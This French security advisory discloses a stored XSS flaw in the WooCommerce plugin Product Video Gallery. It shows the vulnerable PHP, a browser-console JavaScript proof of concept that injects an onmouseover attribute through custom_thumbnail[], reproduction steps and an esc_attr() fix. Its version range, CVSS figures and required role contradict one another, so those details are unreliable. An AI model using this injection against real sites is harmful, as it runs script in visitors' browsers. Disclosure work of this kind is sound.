
Galerie vidéo de produits pour Woocommerce <= 1.5.1.8 - Preuve de concept de script intersite stocké authentifié
| Détail | Valeur |
|---|---|
| ID CVE | CVE-2026-10104 |
| Plugin | Product Video Gallery for WooCommerce |
| Éditeur | TechnoSoft Webs (NikHiL Gadhiya) |
| Type | Cross-Site Scripting (XSS) stocké |
| CWE | CWE-79 — Neutralisation incorrecte des entrées lors de la génération de pages web |
| CVSS 3.1 | 4.4 (Moyen) |
| Versions affectées | ≤ 1.5.1.6 |
| Version corrigée | 1.5.1.9 |
| Nécessite une authentification | Oui — Contributeur+ (tout rôle pouvant modifier des produits) |
| Découvert par | Ravindu Lakmina Munaweera |
Le plugin Product Video Gallery for WooCommerce pour WordPress (versions jusqu’à la 1.5.1.6 incluse) est vulnérable à un Cross-Site Scripting (XSS) stocké via le paramètre meta produit custom_thumbnail.
La méthode save_wc_video_url_field() du plugin nettoie le paramètre POST custom_thumbnail[] à l’aide de sanitize_text_field(), qui supprime les balises HTML mais ne supprime pas les guillemets doubles ("). Côté frontend, la valeur stockée est insérée directement dans les attributs d’une balise `` dans nickx_get_video_thumbanil_html() sans échappement esc_attr(). Cela permet à un attaquant authentifié d’injecter des attributs arbitraires de gestionnaires d’événements HTML (par exemple, onmouseover, onerror) qui exécutent du JavaScript dans le navigateur de tout visiteur — y compris les utilisateurs non authentifiés — qui consulte la page produit concernée.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N
Fichier : public/class-rendering.php
Méthode : nickx_get_video_thumbanil_html()
// Ligne 365 — valeur insérée sans esc_attr()
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
: '';
// Ligne 379 — rendu dans une balise côté public
echo '';
Fichier : admin/class-video-field.php
Méthode : save_wc_video_url_field()
// Lignes 309-310 — sanitize_text_field() supprime les balises mais PAS les guillemets doubles
if ( isset( $_POST['custom_thumbnail'] ) ) {
update_post_meta( $post_id, '_custom_thumbnail',
array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}
Connectez-vous en tant que Gestionnaire de boutique (attaquant).
Naviguez vers Produits → Modifier un produit quelconque qui possède une URL vidéo définie dans le champ « Product Video Url ».
Ouvrez les outils de développement du navigateur (F12) → onglet Console.
Copiez et exécutez le code JavaScript suivant :
const form = document.getElementById('post');
// Définir l’ID de la vignette sur une valeur non vide (requise par la condition de rendu)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }
// Injection de la charge utile XSS via custom_thumbnail
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
Cliquez sur « Mettre à jour » pour enregistrer le produit.
Ouvrez la page produit côté frontend dans une fenêtre de navigation privée (non authentifié).
Survolez la vignette vidéo dans la galerie du produit.
✅ L’alerte JavaScript s’exécute, confirmant le XSS stocké.
Le guillemet double injecté " ferme l’attribut custom_thumbnail, et onmouseover devient un attribut exécutable sur l’élément ``.
Appliquez esc_attr() à la valeur de la vignette personnalisée avant de l’insérer dans l’attribut HTML :
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
- ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"'
- : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id)
+ ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"'
+ : '';
Cette même correction doit être appliquée à toutes les occurrences de construction de $custom_thumbnail dans nickx_get_video_thumbanil_html() (les deux chemins de code, avec tableau et sans tableau).
| Date | Événement |
|---|---|
| 2026-03-20 | Vulnérabilité découverte |
| 2026-03-20 | Signalée à Wordfence (CNA) |
| 2026-05-29 | ID CVE attribué : CVE-2026-10104 |
| 2026-07-01 | Divulgation publique |
Cet avis est publié sous CC BY 4.0.
| Métrique | Valeur |
|---|
| Vecteur d’attaque | Réseau |
| Complexité d’attaque | Faible |
| Privilèges requis | Faible |
| Interaction utilisateur | Aucune |
| Périmètre | Modifié |
| Impact sur la confidentialité | Faible |
| Impact sur l’intégrité | Faible |
| Impact sur la disponibilité | Aucun |